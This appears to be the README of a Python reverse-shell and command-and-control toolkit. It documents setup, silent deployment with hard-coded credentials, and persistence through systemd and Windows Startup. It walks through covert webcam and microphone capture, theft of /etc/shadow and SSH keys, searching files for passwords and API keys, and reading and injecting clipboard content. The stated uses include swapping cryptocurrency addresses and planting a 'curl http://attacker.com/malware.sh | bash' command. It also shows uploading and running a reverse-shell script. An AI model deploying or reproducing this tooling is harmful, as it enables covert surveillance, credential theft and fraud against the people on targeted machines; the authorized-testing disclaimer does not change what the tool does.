A powerful, secure reverse shell toolkit with encrypted WebSocket communication, file transfer capabilities, media capture, advanced reconnaissance, and authentication system.
- π Secure Communication: TLS/SSL encrypted WebSocket connections
- π Authentication: PBKDF2-SHA256 hashed credentials with salting
- π File Transfer: Bidirectional file upload/download with base64 encoding
- π Auto-Reconnection: Exponential backoff retry mechanism
- π Persistent Targets: Targets remain connected between operator sessions
- π€ Autonomous Deployment: Pre-configured credentials for silent deployment
- π Multi-Session: Multiple operators can connect to the same target sequentially
- π‘οΈ Safe Execution: Command timeout protection (30s default)
- πΈ Webcam Capture: Take photos via target's webcam
- π€ Audio Recording: Record audio from target's microphone (1-300 seconds)
- πΎ Automatic Storage: All media saved in
loot/directory
- π File Search: Search files by name pattern with customizable limits
- π Content Search: Search inside text files for sensitive data
- π System Information: Comprehensive system profiling (OS, hardware, network, storage)
- π Clipboard Access: Read and write clipboard content on target machines
- Installation
- Quick Start
- Architecture
- Usage
- Examples
- Configuration
- Security Considerations
- Troubleshooting
- Contributing
- License
Core (Required):
- Python 3.7 or higher
websocketslibrary
Optional (For Advanced Features):
opencv-python- Webcam capturesounddevice,scipy,numpy- Audio recordingpyperclip- Clipboard management
# Clone the repository
git clone https://github.com/yourusername/pyrevkit.git
cd pyrevkit
# Install dependencies
pip3 install websockets
# Or using requirements.txt
pip3 install -r requirements.txt
# Optional: Install media capture dependencies
pip3 install -r requirements-media.txt
# Optional: Install all advanced features
pip3 install -r requirements-advanced.txt
# Generate SSL certificate
openssl req -x509 -newkey rsa:4096 -nodes \
-out server.pem -keyout server.pem -days 365 \
-subj "/CN=YOUR_SERVER_IP"# Clone the repository
git clone https://github.com/yourusername/pyrevkit.git
cd pyrevkit
# Install dependencies
pip install websockets
# Or using requirements.txt
pip install -r requirements.txt
# Optional: Install media capture dependencies
pip install -r requirements-media.txt
# Optional: Install all advanced features
pip install -r requirements-advanced.txt
# Generate SSL certificate (requires OpenSSL for Windows)
openssl req -x509 -newkey rsa:4096 -nodes -out server.pem -keyout server.pem -days 365docker build -t pyrevkit .
docker run -d -p 8765:8765 --name pyrevkit-server pyrevkit# Add operator credentials
python pyrev_server.py -creds operator admin SecurePassword123!
# Add target credentials
python pyrev_server.py -creds target machineA TargetPassword456!python pyrev_server.pyOutput:
[+] Directories ready: loot/, payloads/
[+] Server running on wss://0.0.0.0:8765
[+] Credentials file: credentials.json
[+] Loot directory: loot/
[+] Payloads directory: payloads/
python pyrev_target.pyInteractive mode:
Server host [192.168.2.110]:
Server port [8765]:
--- Authentication ---
Login: machineA
Password: [hidden]
[+] Connected and authenticated. Waiting for commands...
python pyrev_client.py--- Authentication ---
Login: admin
Password: [hidden]
[+] Connected to server
Target ID: machineA
[+] Interactive session started
>>> whoami
root
>>>
βββββββββββββββββββ ββββββββββββββββββ ββββββββββββββββββ
β Operator β β C2 Server β β Target β
β ββββββββββΊβ - Auth ββββββββββΊβ |
β β WSS β - Relay β WSS β β
β pyrev_client β β - Files β β pyrev_target β
βββββββββββββββββββ β β ββββββββββββββββββ
| pyrev_server |
ββββββββββββββββββ
β
ββββββββ΄βββββββ
β β
loot/ payloads/
- pyrev_server.py: Central C2 server handling authentication, relay, and file operations
- pyrev_client.py: Operator interface for sending commands and managing files
- pyrev_target.py: Agent deployed on target machines
pyrevkit/
βββ pyrev_server.py # C2 Server
βββ pyrev_client.py # Operator client
βββ pyrev_target.py # Target agent
βββ requirements.txt # Python dependencies
βββ server.pem # SSL certificate (generated)
βββ credentials.json # Hashed credentials (auto-created)
βββ loot/ # Downloaded files from targets
βββ payloads/ # Files to upload to targets
python pyrev_server.py [OPTIONS]Options:
-creds ROLE LOGIN PASSWORD- Add/update credentials-host HOST- Server host (default: 0.0.0.0)-port PORT- Server port (default: 8765)-cert FILE- SSL certificate file (default: server.pem)
Examples:
# Add operator
python pyrev_server.py -creds operator alice MyPass123
# Add target
python pyrev_server.py -creds target prod-web-01 TargetPass456
# Start on custom port
python pyrev_server.py -host 0.0.0.0 -port 9000Credentials are stored in credentials.json with PBKDF2-SHA256 hashing:
{
"operator": {
"admin": {
"hash": "0b2ad92a1f3e68487a780b3c6d7ab33c...",
"salt": "e48cbd452e38b9337130dcb82f3b761c..."
}
},
"target": {
"machineA": {
"hash": "f61a20f536c15913156a282b3eb84b03...",
"salt": "ff789cd49679ebadd2f60b02094ae21b..."
}
}
}python pyrev_target.pyThe script will prompt for:
- Server host
- Server port
- Login credentials
Edit the configuration section in pyrev_target.py:
# ========== CONFIGURATION ==========
TARGET_ID = "machineA"
SERVER_HOST = "192.168.2.110"
SERVER_PORT = 8765
AUTO_LOGIN = "machineA" # Fill for auto-connect
AUTO_PASSWORD = "TargetPass456" # Fill for auto-connect
# ====================================Then simply run:
python pyrev_target.pyOutput:
[+] Auto-connecting to 192.168.2.110:8765 as machineA
[+] Connected and authenticated. Waiting for commands...
Persistence Examples:
Linux (systemd):
sudo nano /etc/systemd/system/pyrevkit.service[Unit]
Description=PyRevKit Agent
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/python3 /opt/pyrevkit/pyrev_target.py
Restart=always
User=nobody
[Install]
WantedBy=multi-user.targetsudo systemctl enable pyrevkit
sudo systemctl start pyrevkitWindows (Startup):
# Add to: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\pyrevkit.bat
@echo off
cd C:\Tools\pyrevkit
python pyrev_target.pypython pyrev_client.pySession Flow:
- Enter server connection details
- Authenticate with operator credentials
- Specify target ID to connect to
- Interactive command prompt
>>> help
>>> download /etc/passwd
[*] Requesting download: /etc/passwd
[β] Downloaded passwd (2.45 KB) β loot/machineA_passwdFeatures:
- Automatic renaming with target prefix
- Size display
- Max file size: 10MB
- Supports absolute and relative paths
>>> upload exploit.sh
[*] Uploading: exploit.sh
[β] Saved exploit.sh (5.67 KB) β downloads/exploit.shFiles are uploaded from the server's payloads/ directory to the target's downloads/ folder.
# List downloaded files (server-side)
>>> ls_loot
Files in loot/:
- machineA_passwd (2.45 KB)
- machineA_config.txt (1.23 KB)
# List available payloads
>>> ls_payloads
Files in payloads/:
- exploit.sh (5.67 KB)
- payload.exe (234.56 KB)Capture photos from the target's webcam:
>>> webcam
[*] Capturing webcam...
[β] Webcam captured (156.78 KB) β loot/machineA_webcam_20260403_143022.jpgFeatures:
- JPEG format
- Native webcam resolution
- Automatic timestamped naming
- Saved to
loot/directory
Requirements:
- Target must have
opencv-pythoninstalled:pip install opencv-python - Webcam must be accessible (not used by another application)
Record audio from the target's microphone:
>>> record 30
[*] Recording 30 seconds of audio...
[β] Audio recorded (5.05 MB) β loot/machineA_audio_20260403_143522.wavParameters:
- Duration: 1 to 300 seconds (5 minutes max)
- Format: WAV, 44.1kHz, 16-bit, stereo
- Approximate size: ~170 KB per second
Examples:
>>> record 10 # 10 seconds (~1.7 MB)
>>> record 60 # 1 minute (~10 MB)
>>> record 300 # 5 minutes (max, ~50 MB)Requirements:
- Target must have audio libraries installed:
pip install sounddevice scipy numpy
Search for files by name pattern:
>>> search *.pdf
[*] Searching for files: *.pdf
[β] Found 15 results:
1. C:\Users\John\Documents\report.pdf (523.45 KB)
2. C:\Users\John\Desktop\invoice.pdf (102.34 KB)
...With custom limit:
>>> search *.pem --limit 200
[*] Searching for files: *.pem (limit: 200)
[β] Found 79 results:
1. /home/user/cert1.pem (5.61 KB)
...
79. /home/user/cert79.pem (3.24 KB)Supported patterns:
*.pdf- All PDF files*.docx- All Word documentspassword*- Files starting with "password"*config*- Files containing "config"secret.txt- Specific file
Default limit: 100 results (use --limit N to customize)
Search inside text files for sensitive data:
>>> search --content "password"
[*] Searching for content: password
[β] Found 8 results:
1. C:\config.txt:45
database_password=admin123
2. C:\Users\John\notes.txt:12
Remember to change password next week
...With custom limit:
>>> search --content "api_key" --limit 300
[*] Searching for content: api_key (limit: 300)
[β] Found 45 results:
1. /app/config.json:23
"api_key": "sk_live_abc123..."
...Supported file types:
- Text files:
.txt,.log,.conf,.config,.ini - Code files:
.py,.sh,.bat,.cmd - Data files:
.xml,.json
Limitations:
- Max file size: 10MB per file
- Text files only (binary files skipped)
Gather comprehensive system information:
>>> sysinfo
[*] Gathering system information...
[β] System Information - machineA
System:
os: Windows
os_version: 10.0.19045
os_release: 10
hostname: DESKTOP-ABC123
architecture: AMD64
processor: Intel64 Family 6 Model 158 Stepping 10
python_version: 3.11.0
User:
username: admin
home: C:\Users\admin
Network:
hostname: DESKTOP-ABC123
local_ip: 192.168.1.100
Storage:
C: 120.5GB free / 512.0GB total
D: 50.2GB free / 1024.0GB total
Environment:
PATH: C:\Windows\system32;C:\Windows;...
TEMP: C:\Users\admin\AppData\Local\TempInformation collected:
- Operating system details
- Hardware specifications
- Current user and home directory
- Network configuration
- Storage/disk space
- Environment variables
No additional dependencies required - uses Python standard library only.
Capture clipboard content from the target:
>>> clipboard
[*] Reading clipboard...
[β] Clipboard content:
MySecretPassword123!Use cases:
- Capture copied passwords
- Intercept copied credentials
- Monitor user activity
- Capture API keys and tokens
Inject content into the target's clipboard:
>>> clipboard set "Hello from operator"
[*] Setting clipboard...
[β] Clipboard updatedUse cases:
- Replace cryptocurrency addresses
- Inject phishing URLs
- Modify copied commands
- Social engineering attacks
Requirements:
- Target must have
pyperclipinstalled:pip install pyperclip - Graphical environment required (not headless servers)
- Linux: Requires
xcliporxsel:sudo apt-get install xclip
| Command | Description | Example |
|---|---|---|
| Basic Commands | ||
<command> |
Execute shell command | whoami, ls -la |
help |
Show help message | help |
exit / quit |
Disconnect from target | exit |
| File Transfer | ||
download <file> |
Download file from target | download /etc/shadow |
upload <file> |
Upload file to target | upload payload.exe |
ls_loot |
List downloaded files | ls_loot |
ls_payloads |
List available payloads | ls_payloads |
| Media Capture | ||
webcam |
Capture photo via webcam | webcam |
record <seconds> |
Record audio (1-300s) | record 30 |
| Reconnaissance | ||
search <pattern> |
Search files by name | search *.pdf |
search <pattern> --limit <N> |
Search with custom limit | search *.log --limit 500 |
search --content <text> |
Search file contents | search --content "password" |
search --content <text> --limit <N> |
Content search with limit | search --content "api" --limit 200 |
sysinfo |
Gather system information | sysinfo |
| Clipboard | ||
clipboard |
Read clipboard content | clipboard |
clipboard set <text> |
Set clipboard content | clipboard set "payload" |
>>> whoami
root
>>> uname -a
Linux target 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
>>> pwd
/root
>>> ls -la
total 48
drwx------ 5 root root 4096 Apr 3 10:30 .
drwxr-xr-x 19 root root 4096 Mar 15 08:12 ..
-rw------- 1 root root 220 Mar 15 08:12 .bash_logout>>> download /etc/passwd
[β] Downloaded passwd (2.45 KB) β loot/machineA_passwd
>>> download /etc/shadow
[β] Downloaded shadow (1.89 KB) β loot/machineA_shadow
>>> download /home/user/.ssh/id_rsa
[β] Downloaded id_rsa (3.24 KB) β loot/machineA_id_rsa
>>> ls_loot
Files in loot/:
- machineA_passwd (2.45 KB)
- machineA_shadow (1.89 KB)
- machineA_id_rsa (3.24 KB)>>> ls_payloads
Files in payloads/:
- reverse_shell.sh (265 bytes)
- privilege_escalation.py (3.21 KB)
>>> upload reverse_shell.sh
[β] Saved reverse_shell.sh (0.26 KB) β downloads/reverse_shell.sh
>>> chmod +x downloads/reverse_shell.sh
>>> bash downloads/reverse_shell.sh 192.168.1.100 4444Terminal 1 (Server):
$ python pyrev_server.py
[+] Server running on wss://0.0.0.0:8765
[+] Target machineA connectedTerminal 2 (Target):
$ python pyrev_target.py
[+] Auto-connecting to 192.168.2.110:8765 as machineA
[+] Connected and authenticated. Waiting for commands...Terminal 3 (Operator 1):
$ python pyrev_client.py
>>> whoami
root
>>> exitTerminal 4 (Operator 2 - connects to same target):
$ python pyrev_client.py
>>> pwd
/root# Capture webcam photo
>>> webcam
[β] Webcam captured (156.78 KB) β loot/machineA_webcam_20260403_143022.jpg
# Record 30 seconds of audio
>>> record 30
[β] Audio recorded (5.05 MB) β loot/machineA_audio_20260403_143522.wav
# Check who's at the machine
# Download and review the webcam image from loot/ directory# Search for SSH keys
>>> search id_rsa
[β] Found 3 results:
1. /home/john/.ssh/id_rsa (3.24 KB)
2. /home/admin/.ssh/id_rsa (2.98 KB)
# Search for certificates
>>> search *.pem --limit 100
[β] Found 79 results:
1. /etc/ssl/private/server.pem (5.61 KB)
...
# Search for passwords in config files
>>> search --content "password" --limit 200
[β] Found 45 results:
1. /app/config.json:23
"database_password": "admin123"
2. /home/user/.bashrc:15
export DB_PASSWORD="secret"
...
# Download sensitive files
>>> download /home/john/.ssh/id_rsa
[β] Downloaded id_rsa (3.24 KB) β loot/machineA_id_rsa# Gather complete system information
>>> sysinfo
[β] System Information - machineA
System:
os: Windows 10
hostname: PROD-WEB-01
architecture: AMD64
Network:
local_ip: 192.168.1.100
Storage:
C: 50.2GB free / 512.0GB total
# Search for interesting configuration files
>>> search *.conf --limit 50
>>> search config.json
>>> search settings.ini# Monitor clipboard for copied credentials
>>> clipboard
[β] Clipboard content:
john.doe@example.com
# Wait for user to copy password...
>>> clipboard
[β] Clipboard content:
MySecretPassword123!
# Replace clipboard with malicious payload
>>> clipboard set "curl http://attacker.com/malware.sh | bash"
[β] Clipboard updated# Step 1: System profiling
>>> sysinfo
[β] System Information collected
# Step 2: Search for sensitive files
>>> search *.pem --limit 200
>>> search *.key --limit 100
>>> search id_rsa
# Step 3: Search for credentials in files
>>> search --content "password" --limit 300
>>> search --content "api_key" --limit 200
>>> search --content "secret" --limit 200
# Step 4: Media surveillance
>>> webcam
>>> record 60
# Step 5: Clipboard monitoring
>>> clipboard
# Step 6: Download everything found
>>> download /path/to/sensitive/file1
>>> download /path/to/sensitive/file2# Find all log files
>>> search *.log --limit 500
[β] Found 342 results:
...
# Search for database connection strings
>>> search --content "mysql://" --limit 100
>>> search --content "postgresql://" --limit 100
>>> search --content "mongodb://" --limit 100
# Find configuration files
>>> search *config* --limit 200
>>> search *.ini --limit 100
>>> search *.conf --limit 100
# Search for API keys and tokens
>>> search --content "Bearer " --limit 150
>>> search --content "token" --limit 200
>>> search --content "Authorization:" --limit 100Edit pyrev_server.py constants:
LOOT_DIR = "loot" # Directory for downloaded files
PAYLOADS_DIR = "payloads" # Directory for payloads to upload
CREDS_FILE = "credentials.json"Edit pyrev_target.py header:
TARGET_ID = "machineA" # Unique identifier
SERVER_HOST = "192.168.2.110" # C2 server address
SERVER_PORT = 8765 # C2 server port
AUTO_LOGIN = "" # Set for autonomous mode
AUTO_PASSWORD = "" # Set for autonomous mode
DOWNLOAD_DIR = "downloads" # Received files directoryEdit pyrev_client.py constants:
OP_ID = "operator1" # Operator identifier- For Educational/Authorized Use Only: Only use on systems you own or have explicit permission to test
- Credential Storage: Passwords are hashed but stored on disk
- SSL Certificate: Use valid certificates in production
- Network Security: Consider firewall rules and network segmentation
β
TLS/SSL Encryption: All traffic encrypted via WSS
β
Password Hashing: PBKDF2-SHA256 with 100,000 iterations
β
Salt per User: Unique 32-byte salt prevents rainbow tables
β
Timing Attack Protection: Constant-time comparison
β
Command Timeout: 30-second limit on command execution
β
File Size Limits: 10MB maximum file transfer size
- Use strong, unique passwords (16+ characters)
- Rotate credentials regularly
- Use firewall rules to restrict server access
- Monitor server logs for suspicious activity
- Use valid SSL certificates (not self-signed) in production
- Set restrictive file permissions:
chmod 600 credentials.json
Problem: [ERROR] Connection rejected
Solution:
# Verify server is running
netstat -tulpn | grep 8765
# Check firewall
sudo ufw allow 8765/tcp
# Verify certificate exists
ls -l server.pemProblem: cannot call recv while another coroutine is running
Solution: Server automatically handles this by cancelling old relays. Update to latest version.
Problem: Authentication failed
Solution:
# Verify credentials exist
cat credentials.json
# Re-add credentials
python pyrev_server.py -creds target machineA NewPassword123
# Check for typos in login/passwordProblem: [β] File not found
Solution:
# For download: verify file exists on target
>>> ls /path/to/file
# For upload: verify file in payloads/
ls -l payloads/Problem: [β] File too large
Solution: Files over 10MB are rejected. Compress or split the file:
# On target
tar -czf archive.tar.gz large_directory/
>>> download archive.tar.gzProblem: [β] OpenCV not installed
Solution:
# On target machine
pip install opencv-pythonProblem: [β] Cannot access webcam
Solutions:
- Close other applications using the webcam
- Verify webcam is connected:
ls /dev/video*(Linux) - Check user permissions:
sudo usermod -a -G video $USER(Linux)
Problem: [β] Audio libraries not installed
Solution:
# On target machine
pip install sounddevice scipy numpy
# Linux may also need
sudo apt-get install portaudio19-dev python3-devProblem: Audio recording fails or is silent
Solutions:
- Check microphone is not muted
- Verify default audio device:
python -c "import sounddevice as sd; print(sd.query_devices())" - Test manually: Run
test_media.pyscript
Problem: No results found when files clearly exist
Solutions:
- Check file permissions (target may not have access)
- Increase limit:
search *.pdf --limit 500 - Verify pattern syntax (case-insensitive)
- Try broader pattern:
search *password*
Problem: Content search returns too many results
Solutions:
- Use more specific search term
- Adjust limit:
search --content "exact_phrase" --limit 50
Problem: Search is slow
Solution: This is normal for large filesystems. Consider:
- Reducing limit:
--limit 100 - Searching specific file types only
- Being more specific with patterns
Problem: [β] Clipboard library not installed
Solution:
# On target machine
pip install pyperclipProblem: [β] Clipboard read timeout
Solutions:
- Linux: Install clipboard tools
sudo apt-get install xclip # For X11 sudo apt-get install wl-clipboard # For Wayland
- Verify graphical environment:
echo $DISPLAY(should show:0or similar) - Not supported on headless servers
Problem: Clipboard command hangs
Solution:
- Update to latest version (timeout protection added)
- Run diagnostic:
python test_clipboard.pyon target - Ensure target is not headless
Problem: Clipboard works but returns empty
Solutions:
- Clipboard is actually empty
- Clipboard contains non-text data (images, files)
- Copy some text manually and try again
Problem: Some information missing in sysinfo output
Solution: This is normal. Information availability depends on:
- Operating system
- User permissions
- Python version
No fix needed - system provides what it can access.
Contributions are welcome! Please follow these guidelines:
- Fork the repository
- Create a feature branch (
git checkout -b feature/amazing-feature) - Commit your changes (
git commit -m 'Add amazing feature') - Push to the branch (
git push origin feature/amazing-feature) - Open a Pull Request
This project is licensed under the MIT License - see the LICENSE file for details.
This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. The authors assume no liability and are not responsible for any misuse or damage caused by this program. Use responsibly and only on systems you own or have explicit permission to test.
- MEDIA_CAPTURE.md - Complete guide for webcam and audio features
- ADVANCED_FEATURES.md - File search, sysinfo, and clipboard documentation
- CLIPBOARD_TROUBLESHOOTING.md - Comprehensive clipboard troubleshooting
- QUICKREF.md - Quick reference guide for all commands
test_media.py- Test webcam and audio capabilitiestest_clipboard.py- Diagnose clipboard functionality
Core (required):
pip install websockets>=12.0Media Capture (optional):
pip install opencv-python>=4.5.0 # Webcam
pip install sounddevice>=0.4.6 # Audio
pip install scipy>=1.7.0 numpy>=1.21.0 # Audio processingAdvanced Features (optional):
pip install pyperclip>=1.8.0 # ClipboardAll optional features:
pip install -r requirements-advanced.txt| Feature | Dependencies | Platforms | Status |
|---|---|---|---|
| Core Features | |||
| Shell Commands | None | All | β |
| File Transfer | None | All | β |
| Authentication | None | All | β |
| Auto-Reconnect | None | All | β |
| Media Capture | |||
| Webcam | opencv-python | All* | β |
| Audio Recording | sounddevice, scipy, numpy | All* | β |
| Reconnaissance | |||
| File Search | None | All | β |
| Content Search | None | All | β |
| System Info | None | All | β |
| Clipboard | pyperclip | GUI only** | β |
* Camera/microphone must be available
** Requires graphical environment (not headless)
Windows:
- All features work out of the box after installing dependencies
- Clipboard works without additional tools
- Webcam LED may turn on during capture
Linux:
- Webcam requires user in
videogroup - Audio requires user in
audiogroup - Clipboard requires
xclip(X11) orwl-clipboard(Wayland) - Headless servers: media and clipboard features unavailable
macOS:
- All features work natively
- First use requires permission prompts (webcam, microphone, clipboard)
- Clipboard uses native
pbcopy/pbpaste
- Built with Python's
asyncioandwebsocketslibraries - Inspired by modern C2 frameworks
- Thanks to the security research community
β If you find this project useful, please consider giving it a star!
π§ Contact: your.email@example.com
π Issues: GitHub Issues
π¬ Discussions: GitHub Discussions